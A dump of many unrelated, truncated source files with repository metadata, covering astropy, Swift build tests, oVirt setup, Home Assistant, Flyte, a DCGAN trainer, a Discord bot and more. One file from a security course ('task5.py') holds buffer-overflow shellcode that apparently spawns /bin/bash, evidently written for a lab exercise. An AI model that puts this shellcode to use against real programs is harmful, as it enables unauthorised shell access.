2017-09-22T21:10:10.000Z
astropy/stats/lombscargle/tests/test_statistics.py
jbkalmbach/astropy
88ae8c615533efd1e60de4aded204943f66f881c
[ "BSD-3-Clause" ]
1
2018-08-02T09:33:21.000Z
2018-08-02T09:33:21.000Z
import numpy as np import pytest from numpy.testing import assert_allclose try: import scipy except ImportError: HAS_SCIPY = False else: HAS_SCIPY = True from .. import LombScargle from .._statistics import (cdf_single, pdf_single, fap_single, inv_fap_single, METHODS) from ..uti...
36.26738
82
0.640224
b4001ad728662cacc98aa8436b91addb98025ad2
4,244
py
Python
utils/build_swift/tests/utils.py
tshortli/swift
3e739f62fcb14f9f72d5da81168953cfd54e3ee0
[ "Apache-2.0" ]
2
2022-01-23T20:41:02.000Z
2022-01-23T20:41:12.000Z
utils/build_swift/tests/utils.py
blanche37/swift
c3c9b1bf56ce76715ff7e547f68cc354be4cdad8
[ "Apache-2.0" ]
1
2018-08-23T19:35:25.000Z
2018-08-23T19:35:25.000Z
utils/build_swift/tests/utils.py
blanche37/swift
c3c9b1bf56ce76715ff7e547f68cc354be4cdad8
[ "Apache-2.0" ]
null
null
null
# This source file is part of the Swift.org open source project # # Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors # Licensed under Apache License v2.0 with Runtime Library Exception # # See https://swift.org/LICENSE.txt for license information # See https://swift.org/CONTRIBUTORS.txt for the list o...
25.112426
79
0.634307
6bf478d88defa52b88ce52448c7b359d6ef99687
5,462
py
Python
packaging/setup/plugins/ovirt-engine-setup/ovirt-engine/upgrade/auth_url_validation.py
jihwahn1018/ovirt-engine
5c8a3d9a9637eefb28e4accc3cbd2b7f530d5ec9
[ "Apache-2.0" ]
347
2015-01-20T14:13:21.000Z
2022-03-31T17:53:11.000Z
packaging/setup/plugins/ovirt-engine-setup/ovirt-engine/upgrade/auth_url_validation.py
jihwahn1018/ovirt-engine
5c8a3d9a9637eefb28e4accc3cbd2b7f530d5ec9
[ "Apache-2.0" ]
128
2015-05-22T19:14:32.000Z
2022-03-31T08:11:18.000Z
packaging/setup/plugins/ovirt-engine-setup/ovirt-engine/upgrade/auth_url_validation.py
jihwahn1018/ovirt-engine
5c8a3d9a9637eefb28e4accc3cbd2b7f530d5ec9
[ "Apache-2.0" ]
202
2015-01-04T06:20:49.000Z
2022-03-08T15:30:08.000Z
# # ovirt-engine-setup -- ovirt engine setup # # Copyright oVirt Authors # SPDX-License-Identifier: Apache-2.0 # # """ DB validations plugin.""" import gettext import re from collections import namedtuple from otopi import plugin from otopi import util from ovirt_engine_setup.engine import constants as oenginec...
30.858757
77
0.568107
412d6f778f934b8ab85ef8dd773bea51c3542782
1,905
py
Python
ProgrammingProject2/tasks/task5.py
samuelmmorse/MGSsecurity
425621afca366244cdcdc5b991538a618d45fd12
[ "Apache-2.0" ]
null
null
null
ProgrammingProject2/tasks/task5.py
samuelmmorse/MGSsecurity
425621afca366244cdcdc5b991538a618d45fd12
[ "Apache-2.0" ]
null
null
null
ProgrammingProject2/tasks/task5.py
samuelmmorse/MGSsecurity
425621afca366244cdcdc5b991538a618d45fd12
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 import sys shellcode= ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/ba...
36.634615
74
0.629921
398b6be5ca8a47588828a14117a270424df5fb3d
8,530
py
Python
train.py
akanimax/dcgan_pytorch
95a0b4fcdbede60c389ceefc7449d764948208f9
[ "MIT" ]
1
2018-08-18T03:26:16.000Z
2018-08-18T03:26:16.000Z
train.py
akanimax/dcgan_pytorch
95a0b4fcdbede60c389ceefc7449d764948208f9
[ "MIT" ]
null
null
null
train.py
akanimax/dcgan_pytorch
95a0b4fcdbede60c389ceefc7449d764948208f9
[ "MIT" ]
null
null
null
""" script for training a DCGAN on for given dataset """ import torch as th import argparse import numpy as np from torch.backends import cudnn from torchvision.datasets import CIFAR10 # define the device for the training script device = th.device("cuda" if th.cuda.is_available() else "cpu") # enable fast training ...
35.840336
92
0.628136
8fd4639fc5845fe7c48436239cfb6acf526bc09b
1,733
py
Python
internal/notes/builtin-SAVE/packages/r-cubist/package.py
HPCToolkit/hpctest
5ff4455582bf39e75530a31badcf6142081b386b
[ "BSD-3-Clause" ]
1
2019-01-17T20:07:19.000Z
2019-01-17T20:07:19.000Z
internal/notes/builtin-SAVE/packages/r-cubist/package.py
HPCToolkit/hpctest
5ff4455582bf39e75530a31badcf6142081b386b
[ "BSD-3-Clause" ]
null
null
null
internal/notes/builtin-SAVE/packages/r-cubist/package.py
HPCToolkit/hpctest
5ff4455582bf39e75530a31badcf6142081b386b
[ "BSD-3-Clause" ]
2
2019-08-06T18:13:57.000Z
2021-11-05T18:19:49.000Z
############################################################################## # Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-64...
44.435897
79
0.675707
f45893ed7caf4c5ffb6d977efde7d7b8a94c3b13
6,151
py
Python
homeassistant/components/meteo_france/weather.py
DavidDeSloovere/core
909a20b36d4df6724c955c2ae28cb82fe6d50c2e
[ "Apache-2.0" ]
4
2020-08-10T20:02:24.000Z
2022-01-31T02:14:22.000Z
homeassistant/components/meteo_france/weather.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
78
2020-07-23T07:13:08.000Z
2022-03-31T06:02:04.000Z
homeassistant/components/meteo_france/weather.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
3
2022-01-17T20:10:54.000Z
2022-01-17T20:17:22.000Z
"""Support for Meteo-France weather service.""" import logging import time from homeassistant.components.weather import ( ATTR_FORECAST_CONDITION, ATTR_FORECAST_PRECIPITATION, ATTR_FORECAST_TEMP, ATTR_FORECAST_TEMP_LOW, ATTR_FORECAST_TIME, ATTR_FORECAST_WIND_BEARING, ATTR_FORECAST_WIND_SPEE...
32.373684
110
0.586409
0ecd79b200fc6975e74d6519962781fa3c434d69
1,718
py
Python
src/test/resources/integration_tests/python/basic_integration_test.py
bcard/drega
ed3f8afa4ac93df4aad9f9b42181099e13e89cf3
[ "Apache-2.0" ]
1
2016-03-15T11:43:21.000Z
2016-03-15T11:43:21.000Z
src/test/resources/integration_tests/python/basic_integration_test.py
bcard/drega
ed3f8afa4ac93df4aad9f9b42181099e13e89cf3
[ "Apache-2.0" ]
null
null
null
src/test/resources/integration_tests/python/basic_integration_test.py
bcard/drega
ed3f8afa4ac93df4aad9f9b42181099e13e89cf3
[ "Apache-2.0" ]
null
null
null
# Simple integration test which shows tests deploying other verticles, using the Vert.x API etc from org.vertx.testtools import VertxAssert import vertx_tests from core.event_bus import EventBus import vertx # The test methods must begin with "test" def test_http(): # Create an HTTP server which just sends back O...
39.953488
120
0.740396
b33cec53b1a8882c31329028dd4bd17dcf8c3dd2
717
py
Python
flytetester/app/workflows/retryable_dynamic_nodes.py
nuclyde-io/flytetools
268fe35dc2dc3b9899dd934e6a4e6ce8639a58fa
[ "Apache-2.0" ]
null
null
null
flytetester/app/workflows/retryable_dynamic_nodes.py
nuclyde-io/flytetools
268fe35dc2dc3b9899dd934e6a4e6ce8639a58fa
[ "Apache-2.0" ]
4
2021-11-17T11:59:11.000Z
2022-03-02T16:27:40.000Z
flytetester/app/workflows/retryable_dynamic_nodes.py
nuclyde-io/flytetools
268fe35dc2dc3b9899dd934e6a4e6ce8639a58fa
[ "Apache-2.0" ]
2
2021-04-16T19:35:57.000Z
2021-10-14T15:03:37.000Z
from __future__ import absolute_import from __future__ import print_function from app.workflows.failing_workflows import retryer from flytekit.sdk.tasks import ( dynamic_task, ) from flytekit.sdk.workflow import workflow_class @dynamic_task(cpu_request="200m", cpu_limit="200m", memory_request="500Mi", memory_lim...
28.68
108
0.800558
d4e98cc8ee94f237848e2ec077dbf44f89009c32
1,947
py
Python
cogs/commands/informations/guildinfo_command.py
Nhalrath/Chie
082e8fb95166ac60f7a6fe8d2a1e14c11a12d5fd
[ "Apache-2.0" ]
null
null
null
cogs/commands/informations/guildinfo_command.py
Nhalrath/Chie
082e8fb95166ac60f7a6fe8d2a1e14c11a12d5fd
[ "Apache-2.0" ]
4
2021-01-29T14:37:38.000Z
2021-06-13T15:34:27.000Z
cogs/commands/informations/guildinfo_command.py
Nhalrath/Chie
082e8fb95166ac60f7a6fe8d2a1e14c11a12d5fd
[ "Apache-2.0" ]
2
2021-01-14T05:59:10.000Z
2021-01-14T07:28:25.000Z
# Copyright 2020-2021 Nhalrath # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
31.403226
76
0.580894
d816a5e7b2fd823c190351497523cb49ff6015de
1,253
py
Python
src/models/tests/test_evolving-sklearn-datasets.py
cseveriano/evolving_clustering
50dd2b4e38ee11aba9382f1a8e04f530b7c9c949
[ "MIT" ]
5
2018-11-16T21:04:11.000Z
2020-12-04T22:09:23.000Z
src/models/tests/test_evolving-sklearn-datasets.py
cseveriano/evolving_clustering
50dd2b4e38ee11aba9382f1a8e04f530b7c9c949
[ "MIT" ]
null
null
null
src/models/tests/test_evolving-sklearn-datasets.py
cseveriano/evolving_clustering
50dd2b4e38ee11aba9382f1a8e04f530b7c9c949
[ "MIT" ]
1
2020-12-09T02:25:49.000Z
2020-12-09T02:25:49.000Z
from evolving import EvolvingClustering, util import matplotlib.pyplot as plt from time import time as time cmap = plt.cm.get_cmap('rainbow') nsamples = 1000 from sklearn import datasets from sklearn import preprocessing X,y = datasets.fetch_covtype(return_X_y=True) X = X[:nsamples] y = y[:nsamples] X = preprocessin...
25.571429
86
0.731844
fbebe58c75515eb0c7a2c9e9a369d86519401813
673
py
Python
social_core/tests/backends/test_flickr.py
rameshananth/social-core
eeee9763862d768627e134a42e4664456b6eabec
[ "BSD-3-Clause" ]
745
2016-12-03T16:38:37.000Z
2022-03-29T17:18:52.000Z
social_core/tests/backends/test_flickr.py
rameshananth/social-core
eeee9763862d768627e134a42e4664456b6eabec
[ "BSD-3-Clause" ]
624
2016-12-06T16:01:46.000Z
2022-03-29T15:50:35.000Z
social_core/tests/backends/test_flickr.py
rameshananth/social-core
eeee9763862d768627e134a42e4664456b6eabec
[ "BSD-3-Clause" ]
583
2016-12-03T16:40:38.000Z
2022-03-28T05:32:37.000Z
from urllib.parse import urlencode from .oauth import OAuth1Test class FlickrOAuth1Test(OAuth1Test): backend_path = 'social_core.backends.flickr.FlickrOAuth' expected_username = 'foobar' access_token_body = urlencode({ 'oauth_token_secret': 'a-secret', 'username': 'foobar', 'oauth...
25.884615
60
0.655275
6cab29e3800f053acde0f52ae40491d090cb3632
77
py
Python
data/fundamental/fundamental.py
jp-quant/qfengine
f71c263becb82ee5b7022c17d7983b40d5df31bb
[ "MIT" ]
3
2021-01-19T10:16:19.000Z
2022-02-13T16:33:11.000Z
data/fundamental/fundamental.py
jp-quant/qfengine
f71c263becb82ee5b7022c17d7983b40d5df31bb
[ "MIT" ]
null
null
null
data/fundamental/fundamental.py
jp-quant/qfengine
f71c263becb82ee5b7022c17d7983b40d5df31bb
[ "MIT" ]
2
2021-05-11T12:01:34.000Z
2021-08-29T04:49:25.000Z
from abc import ABCMeta, abstractmethod import pandas as pd # [IN PROGRESS]
15.4
39
0.779221
7ec2c0ad5a1941c7d843fafb9940e303acc5ae54
383
py
Python
foi/foi/wsgi.py
lvnxtemirlan/foi_app
de760e455e20c6af9bd8249bacd56105a1a8c0d1
[ "Apache-2.0" ]
null
null
null
foi/foi/wsgi.py
lvnxtemirlan/foi_app
de760e455e20c6af9bd8249bacd56105a1a8c0d1
[ "Apache-2.0" ]
null
null
null
foi/foi/wsgi.py
lvnxtemirlan/foi_app
de760e455e20c6af9bd8249bacd56105a1a8c0d1
[ "Apache-2.0" ]
null
null
null
""" WSGI config for foi project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_...
22.529412
78
0.780679
f01b05a412d9a3d6f37764738c7f28a27863d7bf
2,238
py
Python
src/replit/database/server.py
1nd0m1nu3v01d3/Master
eb7a6c5086a2bd6c36ad4214d486e96266103b41
[ "0BSD" ]
114
2020-07-28T22:55:37.000Z
2022-03-18T20:49:19.000Z
src/replit/database/server.py
1nd0m1nu3v01d3/Master
eb7a6c5086a2bd6c36ad4214d486e96266103b41
[ "0BSD" ]
60
2020-08-04T18:59:34.000Z
2022-03-31T18:20:18.000Z
src/replit/database/server.py
1nd0m1nu3v01d3/Master
eb7a6c5086a2bd6c36ad4214d486e96266103b41
[ "0BSD" ]
33
2020-07-31T05:29:18.000Z
2022-03-31T02:31:49.000Z
"""A module containing a database proxy implementation.""" from typing import Any from urllib.parse import quote from flask import Blueprint, Flask, request from .default_db import db def make_database_proxy_blueprint(view_only: bool, prefix: str = "") -> Blueprint: """Generates a blueprint for a database proxy...
27.62963
85
0.584897
8e66728375f06856613deef09dcc2d6191f466d2
268
py
Python
tests/artificial/transf_Integration/trend_LinearTrend/cycle_7/ar_/test_artificial_1024_Integration_LinearTrend_7__0.py
shaido987/pyaf
b9afd089557bed6b90b246d3712c481ae26a1957
[ "BSD-3-Clause" ]
377
2016-10-13T20:52:44.000Z
2022-03-29T18:04:14.000Z
tests/artificial/transf_Integration/trend_LinearTrend/cycle_7/ar_/test_artificial_1024_Integration_LinearTrend_7__0.py
ysdede/pyaf
b5541b8249d5a1cfdc01f27fdfd99b6580ed680b
[ "BSD-3-Clause" ]
160
2016-10-13T16:11:53.000Z
2022-03-28T04:21:34.000Z
tests/artificial/transf_Integration/trend_LinearTrend/cycle_7/ar_/test_artificial_1024_Integration_LinearTrend_7__0.py
ysdede/pyaf
b5541b8249d5a1cfdc01f27fdfd99b6580ed680b
[ "BSD-3-Clause" ]
63
2017-03-09T14:51:18.000Z
2022-03-27T20:52:57.000Z
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "LinearTrend", cycle_length = 7, transform = "Integration", sigma = 0.0, exog_count = 0, ar_order = 0);
38.285714
168
0.735075
54e7ca438676bfd42b0722b525d60ca02c29fe18
1,880
py
Python
src/pytest_mock_resources/cli.py
ocaballeror/pytest-mock-resources
6f388237d7ca51b5d5ce5739fb717bf242cfc86c
[ "MIT" ]
49
2020-01-24T21:08:43.000Z
2022-03-31T23:55:21.000Z
src/pytest_mock_resources/cli.py
ocaballeror/pytest-mock-resources
6f388237d7ca51b5d5ce5739fb717bf242cfc86c
[ "MIT" ]
29
2020-03-11T19:07:50.000Z
2022-03-30T16:49:06.000Z
src/pytest_mock_resources/cli.py
ocaballeror/pytest-mock-resources
6f388237d7ca51b5d5ce5739fb717bf242cfc86c
[ "MIT" ]
10
2020-01-23T19:04:09.000Z
2022-02-22T19:57:54.000Z
import argparse import enum import subprocess # nosec @enum.unique class FixtureBase(enum.Enum): POSTGRES = "postgres" MONGO = "mongo" MYSQL = "mysql" @classmethod def options(cls): return ", ".join(fixture_base.value for fixture_base in cls) @property def command(self): ...
23.797468
96
0.535106
bc08caee9c7ae7a8d65fe170f9155a9b26d2a1c9
234
py
Python
categorias/iniciante/python/1099.py
carlos3g/URI-solutions
dc7f9b896cdff88aedf67611917b178d3ad60ab3
[ "MIT" ]
1
2022-01-26T23:38:17.000Z
2022-01-26T23:38:17.000Z
categorias/iniciante/python/1099.py
carlos3g/URI-solutions
dc7f9b896cdff88aedf67611917b178d3ad60ab3
[ "MIT" ]
1
2020-07-12T00:49:35.000Z
2021-06-26T20:53:18.000Z
categorias/iniciante/python/1099.py
carlos3g/URI-solutions
dc7f9b896cdff88aedf67611917b178d3ad60ab3
[ "MIT" ]
1
2020-07-04T03:27:04.000Z
2020-07-04T03:27:04.000Z
# -*- coding: utf-8 -*- n = int(input()) soma = 0 for p in range(1, n+1): l = [int(x) for x in input().split()] l.sort() for c in range(l[0]+1, l[1]): if c%2!=0: soma += c print(soma) soma = 0
18
41
0.444444
b34edcc0f9cfb51ba63bf1da15d5e8b0f5339383
25,652
py
Python
model-time-estimate/main.py
ionite34/misc-py-utils
5ed4bc33d5bfef516e63acc2bddf1071fb311b15
[ "MIT" ]
null
null
null
model-time-estimate/main.py
ionite34/misc-py-utils
5ed4bc33d5bfef516e63acc2bddf1071fb311b15
[ "MIT" ]
null
null
null
model-time-estimate/main.py
ionite34/misc-py-utils
5ed4bc33d5bfef516e63acc2bddf1071fb311b15
[ "MIT" ]
null
null
null
# This module will accept an input of a training.log file and parse the information # to estimate the time it will take to train the model until completion of the # current stage's target loss delta. from datetime import datetime import json import os import sys import numpy as np from scipy.optimize import minimize, c...
38.925645
120
0.626267
9699722a4c3cda9821f3cdb17e30153ae1e7a91a
8,215
py
Python
benchmarks/svm_tools/test_svm_low_shot.py
speedcell4/OpenSelfSup
f80fad08c795143e0e9cf2dc9466df3c6eec67d7
[ "Apache-2.0" ]
null
null
null
benchmarks/svm_tools/test_svm_low_shot.py
speedcell4/OpenSelfSup
f80fad08c795143e0e9cf2dc9466df3c6eec67d7
[ "Apache-2.0" ]
null
null
null
benchmarks/svm_tools/test_svm_low_shot.py
speedcell4/OpenSelfSup
f80fad08c795143e0e9cf2dc9466df3c6eec67d7
[ "Apache-2.0" ]
null
null
null
# Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # ################################################################################ """ SVM test for low shot image classific...
38.75
82
0.603895
c88f24e0c4f56b49a1514bbc5fcfcc00efd5e15c
4,204
py
Python
EasyMCDM/models/Irmo.py
qanastek/EasyMCDM
7fa2e2dfe9397834ca9f50211ea2717a16785394
[ "MIT" ]
4
2022-03-05T20:51:38.000Z
2022-03-15T17:10:22.000Z
EasyMCDM/models/Irmo.py
qanastek/EasyMCDM
7fa2e2dfe9397834ca9f50211ea2717a16785394
[ "MIT" ]
null
null
null
EasyMCDM/models/Irmo.py
qanastek/EasyMCDM
7fa2e2dfe9397834ca9f50211ea2717a16785394
[ "MIT" ]
1
2022-03-08T13:45:22.000Z
2022-03-08T13:45:22.000Z
import math from typing import Dict, List, Tuple, Union from EasyMCDM.models.MCDM import MCDM # Instant-Runoff Multicriteria Optimization (IRMO) class Irmo(MCDM): # Memory allocation __slots__ = ['verbose', 'matrix', 'names', 'indexes', 'preferences', 'matrix'] # Constructor def __init__...
37.873874
218
0.562559
99be5d3c4a424a93176bb74dc01a3aee202b23a3
3,665
py
Python
mayan/apps/file_metadata/classes.py
darrenflexxu/Mayan-EDMS
6707365bfacd137e625ddc1b990168012246fa07
[ "Apache-2.0" ]
null
null
null
mayan/apps/file_metadata/classes.py
darrenflexxu/Mayan-EDMS
6707365bfacd137e625ddc1b990168012246fa07
[ "Apache-2.0" ]
5
2021-03-19T22:59:52.000Z
2022-03-12T00:13:16.000Z
mayan/apps/file_metadata/classes.py
Sumit-Kumar-Jha/mayan
5b7ddeccf080b9e41cc1074c70e27dfe447be19f
[ "Apache-2.0" ]
1
2020-07-29T21:03:27.000Z
2020-07-29T21:03:27.000Z
from __future__ import unicode_literals import logging from django.apps import apps from django.db import transaction from mayan.apps.common.classes import PropertyHelper from .events import event_file_metadata_document_version_finish from .exceptions import FileMetadataDriverError from .signals import post_documen...
32.723214
84
0.627285
9a126c6da40372d0c9bc709145b0d5f7b8fa22a7
24,713
py
Python
plugins/calendar.py
hasibulkabir/Google
4e56efe5af0685b4097eba8969e382e821036e3a
[ "MIT" ]
15
2017-02-11T17:09:35.000Z
2021-07-11T03:26:54.000Z
plugins/calendar.py
hasibulkabir/Google
4e56efe5af0685b4097eba8969e382e821036e3a
[ "MIT" ]
null
null
null
plugins/calendar.py
hasibulkabir/Google
4e56efe5af0685b4097eba8969e382e821036e3a
[ "MIT" ]
11
2017-02-27T19:28:14.000Z
2021-07-11T03:30:34.000Z
# Copyright (c) 2017 The TelegramGoogleBot Authors (see AUTHORS) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy,...
44.932727
119
0.516853
5de2a2cdf84cf289c9b0c7e69d54038c073e6053
10,292
py
Python
rpython/translator/jvm/opcodes.py
kantai/passe-pypy-taint-tracking
b60a3663f8fe89892dc182c8497aab97e2e75d69
[ "MIT" ]
2
2016-07-06T23:30:20.000Z
2017-05-30T15:59:31.000Z
rpython/translator/jvm/opcodes.py
kantai/passe-pypy-taint-tracking
b60a3663f8fe89892dc182c8497aab97e2e75d69
[ "MIT" ]
null
null
null
rpython/translator/jvm/opcodes.py
kantai/passe-pypy-taint-tracking
b60a3663f8fe89892dc182c8497aab97e2e75d69
[ "MIT" ]
2
2020-07-09T08:14:22.000Z
2021-01-15T18:01:25.000Z
""" Mapping from OOType opcodes to JVM MicroInstructions. Most of these come from the oosupport directory. """ from rpython.translator.oosupport.metavm import \ PushArg, PushAllArgs, StoreResult, InstructionList, New, OONewArray, DoNothing, Call,\ SetField, GetField, DownCast, RuntimeNew, OOString, OOUnic...
41.5
107
0.570929
a6d818c858bdd2de12f092e40bdf461c6eee97e0
4,902
py
Python
tests/data23/recipe-576645.py
JohannesBuchner/pystrict3
f442a89ac6a23f4323daed8ef829d8e9e1197f90
[ "BSD-2-Clause" ]
1
2020-06-05T08:53:26.000Z
2020-06-05T08:53:26.000Z
tests/data23/recipe-576645.py
JohannesBuchner/pystrict3
f442a89ac6a23f4323daed8ef829d8e9e1197f90
[ "BSD-2-Clause" ]
1
2020-06-04T13:47:19.000Z
2020-06-04T13:47:57.000Z
tests/data23/recipe-576645.py
JohannesBuchner/pystrict3
f442a89ac6a23f4323daed8ef829d8e9e1197f90
[ "BSD-2-Clause" ]
1
2020-11-07T17:02:46.000Z
2020-11-07T17:02:46.000Z
############################################################################### # Evolution optimization strategy, based on genes frequency in genotype. # # Suitable for solving NP-complete problems such as generating sudoku game, # # tasks scheduling, designing networks and etc. # ...
39.853659
120
0.636883
30ccba204b09169ec55c4a5005547763810bef5c
18,052
py
Python
skyfield/keplerlib.py
benwu95/python-skyfield
0af8e01b4ab58375c1816e73aecc8ac55db34853
[ "MIT" ]
null
null
null
skyfield/keplerlib.py
benwu95/python-skyfield
0af8e01b4ab58375c1816e73aecc8ac55db34853
[ "MIT" ]
null
null
null
skyfield/keplerlib.py
benwu95/python-skyfield
0af8e01b4ab58375c1816e73aecc8ac55db34853
[ "MIT" ]
null
null
null
from __future__ import division import sys import math from numpy import(abs, amax, amin, arange, arccos, arctan, array, cos, cosh, cross, exp, log, ndarray, newaxis, ones_like, pi, power, repeat, sin, sinh, sqrt, sum, tan, tile, zeros_like) from skyfield.constants import AU_KM, DA...
32.76225
137
0.538555
c0212debb08371d3ef4dd94796593264bc70f507
1,011
py
Python
throttled/storage/_abstract.py
santunioni/ThrottledAPI
e2a7fb9bbd51d25166eb0093fc05a04bb3fc4476
[ "MIT" ]
10
2022-01-24T17:20:31.000Z
2022-03-04T19:51:28.000Z
throttled/storage/_abstract.py
santunioni/ThrottledAPI
e2a7fb9bbd51d25166eb0093fc05a04bb3fc4476
[ "MIT" ]
1
2022-02-18T23:20:06.000Z
2022-02-18T23:20:06.000Z
throttled/storage/_abstract.py
santunioni/ThrottledAPI
e2a7fb9bbd51d25166eb0093fc05a04bb3fc4476
[ "MIT" ]
1
2022-02-18T12:38:51.000Z
2022-02-18T12:38:51.000Z
from abc import ABC, abstractmethod from throttled.models import Hit class _HitsWindow(ABC): @abstractmethod def get_remaining_seconds(self) -> float: """Get the time (seconds) in which this HitsWindow will expire.""" @abstractmethod def incr(self, hits: int = 1) -> int: """ ...
26.605263
76
0.63996
b165eeef71ffa9da2c0e5c2d21f8713ad650f0e6
1,566
py
Python
setup.py
mlipscombe/instance-config
df9b809d052b8fb8dfdaf7d49e99ae8bd9827d9e
[ "BSD-3-Clause" ]
null
null
null
setup.py
mlipscombe/instance-config
df9b809d052b8fb8dfdaf7d49e99ae8bd9827d9e
[ "BSD-3-Clause" ]
null
null
null
setup.py
mlipscombe/instance-config
df9b809d052b8fb8dfdaf7d49e99ae8bd9827d9e
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys import codecs try: from setuptools import setup except ImportError: from distutils.core import setup __version__ = '0.1.2' def read(fname): return codecs.open( os.path.join(os.path.dirname(__file__), fname), 'r', 'utf-8').read()...
29
107
0.646232
2d2d4031c20d7ca99774bb937c3b281678460f57
2,621
py
Python
fundamentus/fundamentalist_financial_ratios.py
alardosa/python-for-finance
6ced4191a9a54befe463885f79178750eb71eb89
[ "MIT" ]
23
2017-06-27T21:03:33.000Z
2021-11-23T02:32:57.000Z
fundamentus/fundamentalist_financial_ratios.py
alardosa/python-for-finance
6ced4191a9a54befe463885f79178750eb71eb89
[ "MIT" ]
null
null
null
fundamentus/fundamentalist_financial_ratios.py
alardosa/python-for-finance
6ced4191a9a54befe463885f79178750eb71eb89
[ "MIT" ]
17
2017-07-12T09:46:37.000Z
2021-09-20T13:11:33.000Z
""" Get Fundamentalist Financial Ratios from Fundamentus website B3 - BVM&F Bovespa - Brasil, Bolsa, Balcão """ from bs4 import BeautifulSoup import fundamentus import csv def extract_data_from(table, position): return table.select('.data .txt')[position].string.strip() def get_fundamentalist_data(stocks): st...
34.486842
66
0.622663
ac40e55b44d5dfcbb72a2094c91a0f12f8219621
1,892
py
Python
build/geographic_info/geographic_msgs/cmake/geographic_msgs-genmsg-context.py
Jam-cpu/Masters-Project---Final
0b266b1f117a579b96507249f0a128d0e3cc082a
[ "BSD-3-Clause-Clear" ]
null
null
null
build/geographic_info/geographic_msgs/cmake/geographic_msgs-genmsg-context.py
Jam-cpu/Masters-Project---Final
0b266b1f117a579b96507249f0a128d0e3cc082a
[ "BSD-3-Clause-Clear" ]
null
null
null
build/geographic_info/geographic_msgs/cmake/geographic_msgs-genmsg-context.py
Jam-cpu/Masters-Project---Final
0b266b1f117a579b96507249f0a128d0e3cc082a
[ "BSD-3-Clause-Clear" ]
null
null
null
# generated from genmsg/cmake/pkg-genmsg.context.in messages_str = "/workspace/src/geographic_info/geographic_msgs/msg/BoundingBox.msg;/workspace/src/geographic_info/geographic_msgs/msg/GeographicMapChanges.msg;/workspace/src/geographic_info/geographic_msgs/msg/GeographicMap.msg;/workspace/src/geographic_info/geograph...
157.666667
954
0.853066
dcedcdf842963dc1cb22f019bb984aa9e94c84e7
11,025
py
Python
databases/backends/postgres.py
se7entyse7en/databases
4088e42175f7a9a41f8191c6251202bc34bc78ec
[ "BSD-3-Clause" ]
null
null
null
databases/backends/postgres.py
se7entyse7en/databases
4088e42175f7a9a41f8191c6251202bc34bc78ec
[ "BSD-3-Clause" ]
null
null
null
databases/backends/postgres.py
se7entyse7en/databases
4088e42175f7a9a41f8191c6251202bc34bc78ec
[ "BSD-3-Clause" ]
null
null
null
import logging import typing from collections.abc import Mapping import asyncpg from sqlalchemy.dialects.postgresql import pypostgresql from sqlalchemy.engine.interfaces import Dialect from sqlalchemy.sql import ClauseElement from sqlalchemy.sql.ddl import DDLElement from sqlalchemy.sql.schema import Column from sqlal...
37.627986
88
0.650884
ddfd314099606771ae139ded2a33e57048ba58df
29,923
py
Python
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_06_01/operations/_route_filters_operations.py
beltr0n/azure-sdk-for-python
2f7fb8bee881b0fc0386a0ad5385755ceedd0453
[ "MIT" ]
2
2021-03-24T06:26:11.000Z
2021-04-18T15:55:59.000Z
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_06_01/operations/_route_filters_operations.py
beltr0n/azure-sdk-for-python
2f7fb8bee881b0fc0386a0ad5385755ceedd0453
[ "MIT" ]
4
2019-04-17T17:57:49.000Z
2020-04-24T21:11:22.000Z
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_06_01/operations/_route_filters_operations.py
beltr0n/azure-sdk-for-python
2f7fb8bee881b0fc0386a0ad5385755ceedd0453
[ "MIT" ]
2
2021-05-23T16:46:31.000Z
2021-05-26T23:51:09.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
48.576299
193
0.660495
4747a59281821fc0b21a9b664f947573cad86854
5,038
py
Python
rabbitai/tasks/async_queries.py
psbsgic/rabbitai
769e120ba605d56ac076f810a549c38dac410c8e
[ "Apache-2.0" ]
null
null
null
rabbitai/tasks/async_queries.py
psbsgic/rabbitai
769e120ba605d56ac076f810a549c38dac410c8e
[ "Apache-2.0" ]
null
null
null
rabbitai/tasks/async_queries.py
psbsgic/rabbitai
769e120ba605d56ac076f810a549c38dac410c8e
[ "Apache-2.0" ]
1
2021-07-09T16:29:50.000Z
2021-07-09T16:29:50.000Z
import copy import logging from typing import Any, cast, Dict, Optional from celery.exceptions import SoftTimeLimitExceeded from flask import current_app, g from rabbitai import app from rabbitai.exceptions import RabbitaiVizException from rabbitai.extensions import ( async_query_manager, cache_manager, c...
39.054264
116
0.641723
